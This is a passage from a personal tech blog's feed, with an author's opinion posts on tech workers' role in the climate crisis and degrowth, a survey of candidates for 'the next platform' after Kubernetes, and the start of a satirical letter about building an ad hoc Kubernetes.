&lt;li&gt;I think this list is a bit more honest, but some more radical solutions are still missing.&lt;&#x2F;li&gt;
&lt;li&gt;This list also depends a lot on grouping. For example, the effectiveness of &quot;Reduced Food Waste&quot; depends a lot on the assumption that most food is not plant-based and thus very expensive to waste.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Looking at the IPCC&#x27;s list, it&#x27;s easy to see that paying a bunch of expensive tech workers to shave a few percentage points off of 0.6% of global emissions&lt;sup id=&quot;back-5&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#5&quot;&gt;5&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; is just not that cost effective compared to alternative options such as switching to carbon-free energy sources, reducing the &quot;conversion of natural ecosystems&quot; (largely for meat production) or &lt;a href=&quot;https:&#x2F;&#x2F;qz.com&#x2F;ipcc-report-on-climate-change-meat-industry-1850261179&quot;&gt;shifting to plant-based diets&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Looking at Project Drawdown&#x27;s list, there&#x27;s a lot of focus on project-based solutions rather than policy-based solutions. For example, there&#x27;s an &quot;Efficient Aviation&quot; solution which proposes spending trillions on 13% more efficient fuel, but there&#x27;s no &quot;Ban &lt;a href=&quot;https:&#x2F;&#x2F;simpleflying.com&#x2F;starbucks-ceo-private-jet-flights-2024&#x2F;&quot;&gt;Excessive Air Travel&lt;&#x2F;a&gt;&quot; solution which is basically free.&lt;&#x2F;p&gt;
&lt;p&gt;Both lists emphasize &quot;synergies&quot; or &quot;co-benefits&quot;, where the climate solution also has social benefits such as the UN&#x27;s &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Sustainable_Development_Goals&quot;&gt;Sustainable Development Goals&lt;&#x2F;a&gt; which include things like the elimination of poverty, hunger, and inequality, which can make some solutions more compelling.&lt;&#x2F;p&gt;
&lt;p&gt;Overall, the hard work of quantifying the solutions has been done already. As Project Drawdown says, &quot;Viable climate solutions have been like orchestra members lacking a conductor.&quot; We just have to educate ourselves and mobilize rather than getting caught up in the greenwashing and corporate PR.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;noticing-a-pattern&quot;&gt;Noticing a pattern&lt;&#x2F;h2&gt;
&lt;p&gt;You may start to notice a pattern with the way I&#x27;m discussing effective solutions for the climate crisis. When you combine facts like tech workers supporting the status quo, nefarious PR firms, and the IPCC caving to businesses, these are signs pointing to a need for &lt;a href=&quot;&#x2F;blog&#x2F;2025&#x2F;degrowth-nature.pdf&quot;&gt;degrowth&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Degrowth is an economic theory where gross domestic product (GDP) isn&#x27;t used as the main way to measure success, since infinite growth on a finite planet is not possible. &quot;Degrowth is a purposeful strategy to stabilize economies and achieve social and ecological goals, unlike recession, which is chaotic and socially destabilizing and occurs when growth-dependent economies fail to grow.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;I originally hestitated to use the term degrowth in this post since it is quite a broad term, but perhaps a broad term is best for such a broad topic. To me, degrowth acknowledges the reality that the climate crisis exists in a broad social and political context, not just a scientific context. An apolitical climate movement is an ineffective movement. No amount of scary-looking graphs will dismantle a system of power that is as powerful and as entrenched as extractive, exploitative capitalism.&lt;&#x2F;p&gt;
&lt;p&gt;One weakness of the concept of degrowth in my opinion is that it&#x27;s a nice end goal but it&#x27;s missing some important steps along the way. Step one is essentially &quot;take power away from the powerful&quot; which already seems impossible.&lt;&#x2F;p&gt;
&lt;p&gt;The way I look at it, having that clear end goal is step zero. It&#x27;s a shared lens through which we can all look at the world, from guiding the discourse, to avoiding misinformation, and to assessing the effectiveness of climate solutions. The climate crisis cannot be averted without collective action, and we cannot act collectively unless we realize we have the same goals.&lt;&#x2F;p&gt;
&lt;p&gt;On that note, get involved with your local community! Open your favorite search engine and type something like &quot;mutual aid groups near me&quot;. Hope to see you there!&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;aside&gt;
&lt;p&gt;&lt;span id=&quot;1&quot;&gt;1&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#back-1&quot;&gt;⤴&lt;&#x2F;a&gt;: Technically the &quot;real&quot; threshold is based on 20 year temperature averages which we haven&#x27;t hit yet, but the linked article explains that having 12 consecutive months of above 1.5C has some models showing an 80% probability that we&#x27;ve already passed the threshold. IMO, the exact thresholds are unimportant. We&#x27;re still emitting waaaay too much carbon waaaay too quickly with no end in sight.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span id=&quot;2&quot;&gt;2&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#back-2&quot;&gt;⤴&lt;&#x2F;a&gt;: Honorable mention to &lt;a href=&quot;https:&#x2F;&#x2F;pythonspeed.com&#x2F;climatecrisis&#x2F;&quot;&gt;Itamar&lt;&#x2F;a&gt; who is one of the few people who can intelligently talk about software efficiency while keeping it contextualized alongside actually-effective solutions like &lt;a href=&quot;https:&#x2F;&#x2F;pythonspeed.com&#x2F;articles&#x2F;climate-change&#x2F;&quot;&gt;activism&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span id=&quot;3&quot;&gt;3&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#back-3&quot;&gt;⤴&lt;&#x2F;a&gt;: Software engineers often conflate efficiency with climate-consciousness without knowing the real impact. A reasonable example of that would be optimizing a website to take 100ms instead of 200ms per request. Let&#x27;s say this website handles 1,500 requests per second (about one tenth of the &lt;a href=&quot;https:&#x2F;&#x2F;grafana.wikimedia.org&#x2F;d&#x2F;000000580&#x2F;apache-backend-timing?orgId=1&amp;amp;var-ops_prom=All&quot;&gt;global backend request rate for Wikipedia&lt;&#x2F;a&gt;). Every year, you save 150 years of HTTP request processing time, which I&#x27;d roughly estimate to be 2754 kg CO2e&lt;sup id=&quot;back-4&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#4&quot;&gt;4&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;. However, it&#x27;s likely that &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Induced_demand&quot;&gt;induced demand&lt;&#x2F;a&gt; would happen, negating many of the benefits in most situations &lt;a href=&quot;https:&#x2F;&#x2F;pythonspeed.com&#x2F;articles&#x2F;software-jevons-paradox&#x2F;&quot;&gt;except for a few areas&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span id=&quot;4&quot;&gt;4&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#back-4&quot;&gt;⤴&lt;&#x2F;a&gt;: It&#x27;s hard to convert compute time into CO2 because you can&#x27;t simply multiply by the average power usage of a computer (which also varies drastically based on the type of computer, location, and even time of day). You really need the amount of power used to process HTTP requests multiplied by the time spent NOT processing those requests. I used &lt;a href=&quot;https:&#x2F;&#x2F;mlco2.github.io&#x2F;codecarbon&#x2F;index.html&quot;&gt;CodeCarbon&lt;&#x2F;a&gt; with Python&#x27;s builtin &lt;code&gt;http.server&lt;&#x2F;code&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hatoo&#x2F;oha&quot;&gt;&lt;code&gt;oha&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; on my M2 Macbook Pro for 60 seconds. Then I ran it again without running &lt;code&gt;oha&lt;&#x2F;code&gt; to find the idle usage. &lt;code&gt;33.86 - 15.5 = 18.36&lt;&#x2F;code&gt; kg CO2eq&#x2F;year of emissions for both the client and the server. Perhaps the combination of the inefficient Python server and my energy-efficient laptop balances out this benchmark.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span id=&quot;5&quot;&gt;5&lt;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2025&#x2F;tech-and-the-climate-crisis&#x2F;#back-5&quot;&gt;⤴&lt;&#x2F;a&gt;: This is the total emissions from data centers according to &lt;a href=&quot;https:&#x2F;&#x2F;papers.ssrn.com&#x2F;sol3&#x2F;papers.cfm?abstract_id=4424264&quot;&gt;a 2020 paper&lt;&#x2F;a&gt;. Which I believe is an over-estimate. They estimated the global energy consumption from data centers and multiplied that by 0.6 kg CO2e&#x2F;kWh, a number which came from a 2015 study. In 2023, &lt;a href=&quot;https:&#x2F;&#x2F;www.gstatic.com&#x2F;gumdrop&#x2F;sustainability&#x2F;google-2024-environmental-report.pdf&quot;&gt;Google estimates&lt;&#x2F;a&gt; their data center emissions per kWh are &lt;code&gt;3.4 MtCO2e &#x2F; 25.3 tWh = 0.134 kg CO2e&#x2F;kWh&lt;&#x2F;code&gt; which is about 4.5 times lower.&lt;&#x2F;p&gt;
&lt;&#x2F;aside&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The next platform</title>
        <published>2024-12-02T00:00:00+00:00</published>
        <updated>2024-12-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/the-next-platform/"/>
        <id>https://www.macchaffee.com/blog/2024/the-next-platform/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/the-next-platform/">&lt;p&gt;As someone who has built a career on Kubernetes, I&#x27;m always thinking about what &quot;the next platform&quot; is (for job security purposes). By &quot;platform&quot;, I mean the kind that platform engineers like myself build for internal dev teams on which to run their applications. Kubernetes has been the star platform for quite a few years now (or maybe that&#x27;s just my internet bubble), but will that last forever?&lt;&#x2F;p&gt;
&lt;p&gt;Despite the fact that I stan Kubernetes on this blog, I understand more than most that it can be quite painful, so I&#x27;ve been on a search for &quot;the next platform&quot; lately. Let&#x27;s start with a rough list of problems with Kubernetes-based platforms and a list of requirements for &quot;the next platform&quot;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;problems-with-kubernetes-based-platforms&quot;&gt;Problems with Kubernetes-based platforms&lt;&#x2F;h2&gt;
&lt;p&gt;You could train a large language model on Kubernetes complaints alone, but I&#x27;ll just list some common ones:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Steep learning curve.&lt;&#x2F;li&gt;
&lt;li&gt;Lots of moving parts.&lt;&#x2F;li&gt;
&lt;li&gt;Requires a dozen other CNCF projects to do useful work.&lt;&#x2F;li&gt;
&lt;li&gt;Helm templating was a mistake but it&#x27;s too popular now.&lt;&#x2F;li&gt;
&lt;li&gt;Everything has to be containerized, which complicates dev environments and slows down CI&#x2F;CD.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And some of my hot takes:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Kubernetes workloads are insecure by default. Too many CNCF projects simply don&#x27;t work with safe &lt;code&gt;securityContext&lt;&#x2F;code&gt; settings or least-privilege RBAC, and these insecure defaults are footguns for devs.&lt;&#x2F;li&gt;
&lt;li&gt;Manually tuning CPU&#x2F;RAM &lt;code&gt;requests&lt;&#x2F;code&gt; and &lt;code&gt;limits&lt;&#x2F;code&gt; should go the way of the rotary phone. They should be automatically tuned at runtime.&lt;&#x2F;li&gt;
&lt;li&gt;Kubernetes&#x27; killer feature is self-healing, but too many apps are simply not designed with resilience in mind.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Needless to say, there&#x27;s a lot of room for improvement. But we have to make sure &quot;the next platform&quot; checks all the boxes.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;list-of-requirements-for-the-next-platform&quot;&gt;List of requirements for &quot;the next platform&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;This is not an exhaustive list either, but we should probably have things like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Ability to accept HTTP requests from the Internet.&lt;&#x2F;li&gt;
&lt;li&gt;Ability to store state somewhere that is highly-available, secure, and backed up.&lt;&#x2F;li&gt;
&lt;li&gt;Ability to manage app configuration and secrets.&lt;&#x2F;li&gt;
&lt;li&gt;Ability to collect logs, metrics, and other debugging info from your app.&lt;&#x2F;li&gt;
&lt;li&gt;Ability to easily deploy new versions of your app.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;From that list, most platform-as-a-service (PaaS) providers such as Heroku already do all those things and have existed for a long time. But why isn&#x27;t everyone using a PaaS provider? I think there are some other requirements that preclude the use of many current PaaS providers:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Affordability at scale. Even small-to-medium companies may be spending over $100k per month on their cloud bill these days. Adding the PaaS markup on top would be too much.&lt;&#x2F;li&gt;
&lt;li&gt;Ability to run on-premise.&lt;&#x2F;li&gt;
&lt;li&gt;Custom hardware like GPUs, NVMe drives, HSMs, etc.&lt;&#x2F;li&gt;
&lt;li&gt;Custom networking like peering with on-premise infrastructure.&lt;&#x2F;li&gt;
&lt;li&gt;Custom security requirements.&lt;&#x2F;li&gt;
&lt;li&gt;Edge connectivity.&lt;&#x2F;li&gt;
&lt;li&gt;Compatibility with legacy apps.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If you are a CTO who is trying to roll out a &quot;platform&quot; and you have those requirements, then a Kubernetes-based platform may be more compelling because of the extra flexibility. I believe every app that runs on Linux can technically run on Kubernetes (even resorting to &lt;a href=&quot;https:&#x2F;&#x2F;kubevirt.io&#x2F;&quot;&gt;KubeVirt&lt;&#x2F;a&gt; if necessary), but a PaaS provider could easily say &quot;we don&#x27;t support that&quot;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;possible-contenders&quot;&gt;Possible contenders&lt;&#x2F;h2&gt;
&lt;p&gt;With these lists in my mind, I&#x27;ve been exploring the landscape of possible contenders for &quot;the next platform&quot;. Like all kinds of future-prediction, this is very subjective and very likely to age poorly, so let&#x27;s forge ahead regardless.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;paleoops&quot;&gt;PaleoOps&lt;&#x2F;h3&gt;
&lt;p&gt;This is the idea of running everything on one or two big bare-metal servers, usually from budget providers like Hetzner. Not sure if there&#x27;s a name for this, so I&#x27;m calling it PaleoOps. Similar to how the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Paleolithic_diet&quot;&gt;paleo diet&lt;&#x2F;a&gt; developed in response to the rapid expansion of processed foods and their health risks, there&#x27;s some good and bad reasoning used to justify PaleoOps. Applications got super complex super quick and a whole generation of developers got burned, leading to embracing the simpler infrastructure of the past, which &lt;a href=&quot;http:&#x2F;&#x2F;rachelbythebay.com&#x2F;w&#x2F;2022&#x2F;01&#x2F;27&#x2F;scale&#x2F;&quot;&gt;has been successful&lt;&#x2F;a&gt; in some cases.&lt;&#x2F;p&gt;
&lt;p&gt;But sometimes uncritically embracing older things results in &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2024&#x2F;you-have-built-a-kubernetes&#x2F;&quot;&gt;suffering from the same problems&lt;&#x2F;a&gt; that lead to the rise of the modern replacement in the first place. Notable issues include the increased exposure to hardware failure, the lack of edge support, the security risks of non-segmented applications, and the huge amount of features you&#x27;d have to develop yourself. So I don&#x27;t think this will become &quot;the next platform&quot; but it will always serve a niche where the benefits of a fully automated platform are not needed.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;honorable-mention-erlang-darklang&quot;&gt;Honorable mention: Erlang, Darklang&lt;&#x2F;h3&gt;
&lt;p&gt;Language-based distributed programming models have always been fascinating to me. &lt;a href=&quot;https:&#x2F;&#x2F;vereis.com&#x2F;posts&#x2F;disterl_inbox&quot;&gt;Erlang&#x2F;Elixir and other BEAM languages&lt;&#x2F;a&gt; were early movers, apparently powering vast distributed systems at &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Erlang_(programming_language)#History&quot;&gt;Ericsson&lt;&#x2F;a&gt;. There was also a time when I thought &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Akka_(toolkit)&quot;&gt;Akka&lt;&#x2F;a&gt; and actor-based programming would take over the world. Notably those both gloss over the deployment&#x2F;DevOps work, sometimes just relying on Docker or Kubernetes (a la &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bitwalker&#x2F;libcluster&quot;&gt;libcluster&lt;&#x2F;a&gt;). &lt;a href=&quot;https:&#x2F;&#x2F;darklang.com&#x2F;&quot;&gt;Darklang&lt;&#x2F;a&gt; is another group building something like &quot;the next platform&quot;, all from a single programming language.&lt;&#x2F;p&gt;
&lt;p&gt;But all of these are a bit of a moonshot in my opinion since way too much existing code is written in JavaScript, Python, etc. You could compile apps to run on the BEAM, but you can&#x27;t simply add OTP semantics to existing apps.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fly-io&quot;&gt;Fly.io&lt;&#x2F;h3&gt;
&lt;p&gt;I&#x27;ve never used Fly.io personally, so consider my opinion on this subject to be more uninformed than my usual opinions.&lt;&#x2F;p&gt;
&lt;p&gt;Fly.io was originally developed as a next-generation PaaS that solved one main deficiency of previous-generation PaaSes: Edge support. Their choice of &lt;a href=&quot;https:&#x2F;&#x2F;firecracker-microvm.github.io&#x2F;&quot;&gt;Firecracker&lt;&#x2F;a&gt; as the hypervisor means they can spin VMs up and down rapidly and pack lots of VMs on a single physical server, keeping costs low. Using VMs means broad support for existing applications that container-based PaaSes may struggle to match.&lt;&#x2F;p&gt;
&lt;p&gt;I think Fly.io&#x27;s reliance on bare-metal servers and VMs is an issue. They recently had to &lt;a href=&quot;https:&#x2F;&#x2F;fly.io&#x2F;blog&#x2F;machine-migrations&#x2F;&quot;&gt;re-invent the wheel of VM migrations&lt;&#x2F;a&gt; with much difficulty. This is something existing hypervisors have had decades to perfect (&lt;a href=&quot;https:&#x2F;&#x2F;virtualizationreview.com&#x2F;articles&#x2F;2016&#x2F;09&#x2F;14&#x2F;evolution-of-vmware-vmotion.aspx&quot;&gt;vMotion has existed since 2003&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Additionally, you can bet that major cloud providers don&#x27;t just slide servers into racks and hope they don&#x27;t break. They almost certainly have fancy methods of capacity planning, redundancy, lifecycle analysis, and failure analysis to reduce the chances your pet VM randomly dies due to a bad memory stick.&lt;&#x2F;p&gt;
&lt;p&gt;But hardware failure will always be a problem for any application that runs on a single server (unless that server is an &lt;a href=&quot;https:&#x2F;&#x2F;arstechnica.com&#x2F;information-technology&#x2F;2023&#x2F;07&#x2F;the-ibm-mainframe-how-it-runs-and-why-it-survives&#x2F;&quot;&gt;IBM mainframes with full hardware redundancy&lt;&#x2F;a&gt;). Because hardware failure is rare and often hidden from users, this can be a sneaky footgun that devs consider too unlikely to matter until it happens. I believe &quot;the next platform&quot; should disarm this footgun.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;serverless-aws-lambda&quot;&gt;Serverless - AWS Lambda&lt;&#x2F;h3&gt;
&lt;p&gt;Launched in 2014, AWS Lambda allows you to upload a file containing a function that can process HTTP requests. It uses Firecracker to spawn these VMs rapidly and provide secure multi-tenancy. Lambda promised to revolutionize deployment and really popularized the concept of &quot;&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Serverless_computing&quot;&gt;serverless&lt;&#x2F;a&gt;&quot; apps that do not know or care about the server(s) running the app.&lt;&#x2F;p&gt;
&lt;p&gt;But I believe Lambda was a bit ahead of its time. Web frameworks like Django were quite popular, but you couldn&#x27;t just run Django on Lambda without a tool like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;zappa&#x2F;Zappa&quot;&gt;Zappa&lt;&#x2F;a&gt; to magically make it &quot;serverless&quot;, which wouldn&#x27;t come out for another 2-3 years. You&#x27;d also want a serverless database like Aurora Serverless which wouldn&#x27;t come out &lt;a href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;blogs&#x2F;aws&#x2F;aurora-serverless-ga&#x2F;&quot;&gt;until 2018&lt;&#x2F;a&gt; (or &lt;a href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;blogs&#x2F;aws&#x2F;amazon-aurora-postgresql-limitless-database-is-now-generally-available&#x2F;&quot;&gt;2024 if you use postgres&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;Given this is an AWS service, setting up a simple Lambda requires IAM roles, API gateway, and maybe some KMS config which can get quite complicated. There were also problems with cold-start times of &lt;a href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;blogs&#x2F;compute&#x2F;operating-lambda-performance-optimization-part-1&#x2F;&quot;&gt;100-1000ms&lt;&#x2F;a&gt; that didn&#x27;t have great workarounds until later. And perhaps the loudest problem of all was unexpectedly huge bills when Lambdas got DoS&#x27;d or &lt;a href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=31907374&quot;&gt;invoked by infinite loops&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;One notable achievement was that &lt;a href=&quot;https:&#x2F;&#x2F;adhoc.team&#x2F;2022&#x2F;01&#x2F;18&#x2F;covidtests-usps-aws-managed-services&#x2F;&quot;&gt;Lambda was likely used for the successful launch of covidtests.gov in 2022&lt;&#x2F;a&gt;. This is in stark contrast to the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;HealthCare.gov&quot;&gt;disastrous launch of healthcare.gov in 2013&lt;&#x2F;a&gt; which used traditional deployment methods and couldn&#x27;t withstand more than 1,100 of the 250,000 concurrent users trying to access it.&lt;&#x2F;p&gt;
&lt;p&gt;Overall, I think of Lambda as the beta release of &quot;the next platform&quot;. It has proven some core ideas like serverless computing are possible, but it has all the rough edges of an early mover.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;v8-isolates&quot;&gt;V8 Isolates&lt;&#x2F;h3&gt;
&lt;p&gt;I&#x27;ve never been a big fan of Cloudflare&#x27;s market dominance, but I must say that the more I read about &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;platform&#x2F;storage-options&#x2F;&quot;&gt;Cloudflare&#x27;s serverless products&lt;&#x2F;a&gt;, the more I start shaking in my platform engineering boots. I also haven&#x27;t used any of these products, so perhaps they sound better than they really are. &lt;a href=&quot;https:&#x2F;&#x2F;deno.com&#x2F;deploy&quot;&gt;Deno Deploy&lt;&#x2F;a&gt; is also built on V8 isolates and serves as a compelling competitor to Cloudflare, but I know even less about their offerings.&lt;&#x2F;p&gt;
&lt;p&gt;The core product is Cloudflare Workers, which is their version of AWS Lambda. The key difference is they use &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;reference&#x2F;how-workers-works&#x2F;#isolates&quot;&gt;V8 isolates&lt;&#x2F;a&gt; instead of Firecracker VMs, which are essentially using the same tech that isolates Chrome tabs from each other (apparently Chrome uses separate processes &lt;em&gt;and&lt;&#x2F;em&gt; isolates, but Cloudflare runs all the isolates in the same process, which &lt;a href=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model&#x2F;&quot;&gt;they claim is still safe&lt;&#x2F;a&gt;). This eliminates the cold-start problem and drastically reduces the overhead for running each isolate. V8 isolates primarily support JavaScript (including some JS web frameworks), but they also support Rust and Python &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;languages&#x2F;python&#x2F;how-python-workers-work&#x2F;&quot;&gt;by compiling to WebAssembly&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Things get even more interesting when you look at all the &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;platform&#x2F;storage-options&#x2F;&quot;&gt;other compatible offerings&lt;&#x2F;a&gt;, like Workers KV (distributed key-value store), R2 (S3-like object storage), D1 (managed relational databases), and even &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;ci-cd&#x2F;&quot;&gt;CI&#x2F;CD&lt;&#x2F;a&gt;. Deno has also been rolling out a similarly impressive list of compatible products. These all seem like compelling replacements for many common bits of infrastructure.&lt;&#x2F;p&gt;
&lt;p&gt;But the devil is in the details. Workers have some quite-restrictive &lt;a href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;platform&#x2F;limits&#x2F;&quot;&gt;limits&lt;&#x2F;a&gt; like a max 30 seconds of CPU time, a max 128MB of memory, and just barely enough POSIX support to be usable-but-painful. They haven&#x27;t really solved the problem of huge bills from runaway Workers either. And while you are fantasizing about the long list of complex infra you could replace with these products, you are like a fish being lured in by an angler fish&#x27;s glow, only to be swallowed whole by the jaws of vendor lock-in.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Despite all the downsides, I&#x27;m starting to feel like we&#x27;re getting close to &quot;the next platform&quot;. Perhaps Workers is like a 1.0 release of something that only really gets good at version 2.0. Maybe V8 isolates will make it to 2.0, or maybe they&#x27;ll be replaced by unikernels (like &lt;a href=&quot;https:&#x2F;&#x2F;nanovms.com&#x2F;&quot;&gt;NanoVMs&lt;&#x2F;a&gt;) or &lt;a href=&quot;https:&#x2F;&#x2F;opensource.microsoft.com&#x2F;blog&#x2F;2024&#x2F;11&#x2F;07&#x2F;introducing-hyperlight-virtual-machine-based-security-for-functions-at-scale&#x2F;&quot;&gt;this Hyperlight thing that Microsoft is making&lt;&#x2F;a&gt;. To me, the last remaining pieces of the &quot;next platform&quot; puzzle are things like:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Radically solving the pricing problem, where the cost of using the platform is just a slight markup on EC2 prices.&lt;&#x2F;li&gt;
&lt;li&gt;Fully open-source, including the ability to deploy it yourself (like Kubernetes).&lt;&#x2F;li&gt;
&lt;li&gt;Strikes the right balance between &quot;compatible with existing apps&quot; and &quot;stopping people from deploying the same bloated&#x2F;unreliable&#x2F;insecure garbage we&#x27;ve been building for decades&quot;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;At this point, we have one leg in the past and one leg in the future. The past is pet servers and VMs. The present is clusters of containers that still have many of the same pain points. When the future comes, I just hope it&#x27;s not another chore.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Dear friend, you have built a Kubernetes</title>
        <published>2024-11-23T00:00:00+00:00</published>
        <updated>2024-11-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2024/you-have-built-a-kubernetes/"/>
        <id>https://www.macchaffee.com/blog/2024/you-have-built-a-kubernetes/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2024/you-have-built-a-kubernetes/">&lt;p&gt;&lt;em&gt;This post will make more sense if you first read &lt;a href=&quot;https:&#x2F;&#x2F;rachit.pl&#x2F;post&#x2F;you-have-built-a-compiler&#x2F;&quot;&gt;Dear Sir, You Have Built a Compiler&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Dear friend,&lt;&#x2F;p&gt;
&lt;p&gt;I am afraid to inform you that you have built a Kubernetes. I know you wanted to &quot;choose boring tech&quot; to just run some containers. You said that &quot;Kubernetes is overkill&quot; and &quot;it&#x27;s just way too complex for a simple task&quot; and yet, six months later, you have a pile of shell scripts that do not work—breaking every time there&#x27;s a slight shift in the winds of production.&lt;&#x2F;p&gt;
&lt;p&gt;Surely, switching to Docker Compose will be the end of your woes; at least that way, someone else maintains a standard config file format for you to use. But wait, Compose is still &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2024&#x2F;docker-compose&#x2F;&quot;&gt;not a holistic solution&lt;&#x2F;a&gt;. &quot;Do I really need a separate solution for deployment, rolling updates, rollbacks, and scaling?&quot; you ask yourself? Surely not. Your app is so simple; a backend, a reverse proxy, postgres, and a job runner. So you march on, and add another few sections to your &lt;code&gt;deploy.sh&lt;&#x2F;code&gt; script, certain, that this will be the last of what you need to do to maintain this pile of hacks.&lt;&#x2F;p&gt;
&lt;p&gt;Ah, but wait! Inevitably, you find a reason to expand to a second server. While it&#x27;s true &lt;a href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=41340751&quot;&gt;a single server can go a long way&lt;&#x2F;a&gt; many things can force this decision, such as the need for special hardware, high availability, or the speed of light. Tired, you parameterize your deploy script and configure firewall rules, distracted from the crucial features you should be working on and shipping. One of your team members suggests connecting the servers with Tailscale: an overlay network with service discovery. After that you will know, yes know, that there is no tougher complexity hurdle to clear than the networking.&lt;&#x2F;p&gt;
